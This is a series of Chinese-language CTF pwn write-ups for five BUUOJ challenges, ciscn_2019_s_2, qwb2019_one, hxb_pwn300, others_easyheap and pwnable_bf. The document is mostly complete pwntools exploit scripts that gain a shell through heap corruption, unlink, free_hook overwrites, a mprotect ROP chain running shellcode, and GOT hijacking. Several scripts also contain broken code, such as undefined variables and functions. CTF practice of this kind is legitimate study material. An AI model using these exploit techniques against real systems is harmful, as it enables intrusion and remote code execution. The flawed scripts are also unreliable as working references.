256 ciscn_2019_s_2
add
申请一个0x10的chunk,分别放着地址,大小,flag。
edit
有个realloc,一会小心。
show
这个show就平平无奇。
delete
free没啥问题。但是他没有管我们刚刚说的结构体里面的flag。
这就导致什么,我们再free了chunk之后,ptr指针没了,但是我们可以edit传入空指针,走一次realloc。
空指针的realloc会发生什么,当我们的size是的时候,realloc会将他释放掉,清理指针的
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF("./256")
r = remote('node4.buuoj.cn',29001)
libc = ELF('./64/libc-2.27.so')
def add(size,content):
r.sendlineafter('choice:',"1")
r.sendlineafter('size?>',str(size))
r.sendafter('content:',content)
def edit(idx,content):
r.sendlineafter('choice:',"2")
r.sendlineafter('Index:',str(idx))
r.sendafter('content:',content)
def show(idx):
r.sendlineafter('choice:',"3")
r.sendlineafter('Index:',str(idx))
def delete(idx):
r.sendlineafter('choice:',str(idx))
r.sendlineafter('Index:',str(idx))
def edit2(idx):
r.sendlineafter('choice:',"2")
r.sendlineafter('Index:',str(idx))
add(0,'')
edit2(0)
delete(0)
add(0x10,p64(0)) #0
add(0x20,'aaa') #1
show(0)
r.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2a0
add(0x500,'aaa') #2
add(0,'') #3
delete(2)
edit(0,p64(heap_base+0x2f0))
show(1)
r.recvuntil('Content: ')
libc.address = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
add(0x500,'/bin/sh\x00') #2
fuck(3)
delete(3)
add(0x10,p64(libc.sym['__free_hook'])) #3
add(0x10,p64(libc.sym['system']))
delete(2)
r.interactive()
257 qwb2019_one
add
平平无奇
最多读入0x20个字符。
edit
strchr函数
C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置。
这个函数允许我们每次改变一个字节,那我们其实就想干嘛干嘛了……
show
del
指针也清理掉了。
有个后门函数,输入1$
有个奇怪的abs。
就是绝对值函数。
我们可以通过edit,来构造chunk,制造unlink,来劫持got表。但是前提是需要计算程序基地址,因为开了pie。
那我们就可以利用到那个abs函数的溢出,来泄露elf的基地址。
我们具体看一下abs怎么做到泄露地址的。
首先传入的是0x80000000.
然后导致rax立马成了0x80000000
他最后输出的是chunk1里面的指向的chunk的数据,chunk1指向0x3060。
最后输出0x3060里的数据,
其实道理很简单,因为atoi返回的是一个长整型,这就导致我们如果输入负数,符号在八个字节的第一个bit,这就导致一会截断之后我们的数字还是正的,但是我们如果输入一个比较大的数,就比如0x80000000,截断之后四个字节他就变成了负数,%5之后就会得到我们要的-3.
exp
#coding:utf8
from pwn import *
#context.log_level = "debug"
r = remote('node4.buuoj.cn',27097)
#r = process("./257")
elf = ELF('./257')
libc = ELF('./64/libc-2.27.so')
def add(string):
r.sendlineafter('command>>','1')
r.sendafter('test string:',string)
def edit(index,old_c,new_c):
r.sendlineafter('command>>','2')
r.sendlineafter('index of the string:',str(index))
r.sendafter('Which char do you want to edit:',old_c)
r.sendlineafter('What do you want to edit it into:',new_c)
def show(index):
r.sendlineafter('command>>','3')
r.sendlineafter('index of the string:',str(index))
def delete(index):
r.sendlineafter('command>>','4')
r.sendlineafter('index of the string:',str(index))
def test(index):
r.sendlineafter('command>>','12580')
r.sendlineafter('Do you want to use one?(Y/N)','Y')
r.sendlineafter('Here are 5 strings to be tested. Which one do you want to test?',str(index))
test(0x80000000)
r.recvuntil('The string:\n')
heap_ptr = u64(r.recv(6).ljust(0x8,'\x00'))
elf_base = heap_ptr - 0x2030C0
free_got = elf_base + elf.got['free']
print 'elf_base=',hex(elf_base)
char_table = ''
for i in range(0x20):
char_table += chr(ord('a')+i)
add(char_table) #0
add('b'*0x20) #1
add('/bin/sh\x00') #2
for i in range(0xF):
add('b'*0x20)
add('c'*0x20)
for i in range(0x18):
edit(0,'\x00',chr(ord('B') + i))
size = 0x40 * 0x11
edit(0,'\x41\n',p8(size & 0xFF))
edit(0,'\x00',p8((size >> 0x8) & 0xFF))
for i in range(0x17,0x10,-1):
edit(0,chr(ord('B') + i) + '\n','\x00')
edit(0,chr(ord('B') + 0x10) + '\n',p8(0x30))
fake_chunk = p64(0) + p64(0x31)
fake_chunk += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
for i in range(0x1F,-1,-1):
edit(0,chr(ord('a')+i)+'\n',fake_chunk[i])
delete(1) #unlink
for i in range(0x18):
edit(0,'\x00','1')
edit(0,'\xA8\n','\xC8')
for i in range(6):
edit(0,'\x00',p8((free_got >> (8 * i)) & 0xFF))
show(1)
r.recvuntil('The string is:\n')
free_addr = u64(r.recv(6).ljust(0x8,'\x00'))
libc_base = free_addr - libc.sym['free']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
for i in range(6):
edit(0,p8((free_got >> (8 * i)) & 0xFF) + '\n',p8((free_hook >> (8 * i)) & 0xFF))
#写free_hook
for i in range(6):
edit(1,'\x00',p8((system_addr >> (8 * i)) & 0xFF))
delete(2)
r.sendline("cat flag")
r.interactive()
258 hxb_pwn300
看起来是个计算器。
显然就是。
他说先输入要计算多少次。那这个数足够大的时候其实就可以溢出。
exp
from pwn import *
context(os='linux',arch='x86',log_level='debug')
r = remote("node4.buuoj.cn",29365)
elf=ELF('./258')
def add(value):
r.sendlineafter("5 Save the result",'1')
r.sendlineafter("input the integer x:",str(value-1))
r.sendlineafter("input the integer y:",'1')
bss_addr=0x80EB000
read=elf.symbols['read']
mprotect=elf.symbols['mprotect']
pop_eax=0x080bb406
jmp_eax=0x08048f02
pop_ebxesiedi=0x08048913
r.sendlineafter("How many times do you want to calculate:",'40')
for i in range(16):
add(0)
add(read)
add(pop_ebxesiedi)
add(0)
add(bss_addr)
add(0x50)
add(mprotect)
add(pop_ebxesiedi)
add(bss_addr)
add(0x1000)
add(7)
add(pop_eax)
add(bss_addr)
add(jmp_eax)
r.sendlineafter("5 Save the result",'5')
r.send(asm(shellcraft.sh()))
r.interactive()
259 others_easyheap
add
普普通通。
edit
edit溢出。
攻击free_hook就好了。
exp
from pwn import *
#p=process('./easyheap')
elf=ELF('./easyheap')
libc=ELF("./64/libc-2.23.so")
p=remote('node4.buuoj.cn',26139)
def add(size,content):
p.sendlineafter(':','1')
p.sendlineafter('Size:',str(size))
p.sendlineafter('Content:',content)
def edit(idx,size,content):
p.sendlineafter(':','2')
p.sendlineafter('id:',str(idx))
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',content)
def show():
p.sendlineafter(':','3')
def delete(idx):
p.sendlineafter(':','4')
p.sendlineafter('id:',str(idx))
add(0x18,'aaaa')#0
add(0x68,'bbbb')#1
add(0x20,'cccc')#2
add(0x20,'dddd')#3
add(0x30,'/bin/sh\x00')#4
add(0x30,'/bin/sh\x00')#5
payload='a'*0x18+p64(0x91)
edit(0,len(payload),payload)
delete(1)
add(0x18,'')
show()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-88-0x10
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
add(0x20,'ffff')
payload=p64(0)*4+p64(0)+p64(0x21)+p64(0x50)+p64(free_hook)
edit(3,len(payload),payload)
edit(4,8,p64(system))
delete(5)
#show()
p.interactive()
260 pwnable_bf
主程序就是输入字符串,然后咔咔一顿循环去执行brainfuck。
那显然你看有可以移动指针p的>,有可以泄露的.有可以改变数字的功能,got表是可写的,所以就是把p指针移动到下面的got表,然后泄露,劫持。
#coding=utf-8
from pwn import *
ptr = 0x0804a0a0
putchar = 0x804a030
jmp = 0x8048671
r = process("./260")
r.recvuntil("type some brainfuck instructions except [ ]\n")
payload="."
payload+="<"*(112-4)+"<."*4+"<"#leak putchar
payload+=">,"*4+"<"*36+">,"*4 #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset memset
r.sendline(payload)
r.recv(1)#这里是为了调用put函数向got表中写入真实地址
puts_addr=u32(p.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)
system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
r.send(p32(jmp))
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
r.send(p32(system_addr))
r.send(p32(gets_addr))
r.recvuntil("type some brainfuck instructions except [ ]\n")
r.sendline("/bin/sh\x00")
r.interactive()